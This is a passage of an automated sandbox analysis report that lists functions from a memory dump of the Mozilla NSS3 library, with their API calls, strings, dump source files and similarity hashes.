Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C664860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664894

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6648FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C664912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66494A

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 2627065d2b2febc7dcd80c3fed7336729dc9c53d8eda749fcdafdd943b8c865a
Instruction ID: d191bc58d32f35d541201a852207e1d48aaef9390853898f2be124acaa6c8575
Opcode Fuzzy Hash: 2627065d2b2febc7dcd80c3fed7336729dc9c53d8eda749fcdafdd943b8c865a
Instruction Fuzzy Hash: 6A41C3706043056BE704CF6AD890BAB73E8AF85358F14062CEA5597B41F7B0D945CB5B

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

